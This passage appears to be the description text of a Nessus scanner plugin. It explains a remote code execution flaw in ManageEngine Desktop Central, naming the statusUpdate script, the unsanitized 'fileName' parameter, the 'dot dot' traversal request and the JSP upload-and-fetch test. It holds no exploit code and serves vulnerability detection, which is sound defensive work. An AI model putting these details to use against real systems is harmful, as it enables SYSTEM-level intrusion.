"The version of ManageEngine Desktop Central running on the remote host
is affected by a remote code execution vulnerability due to a failure
by the statusUpdate script to properly sanitize user-supplied input to
the 'fileName' parameter when performing an 'LFU' action to
statusUpdate. A remote, unauthenticated attacker can exploit this,
via a crafted 'dot dot' request, to upload to the remote host files
containing arbitrary code and then execute them with
NT-AUTHORITY\SYSTEM privileges.

Note that ManageEngine Desktop Central is reportedly affected by other
vulnerabilities as well, although Nessus has not tested for these.

Also note this plugin tries to upload a JSP file to <DocumentRoot>
(i.e., C:\ManageEngine\DesktopCentral_Server\webapps\DesktopCentral\)
and then fetch it, thus executing the Java code in the JSP file. The
plugin attempts to delete the JSP file after a successful upload and
fetch. The user is advised to delete the JSP file if Nessus fails to
delete it.");
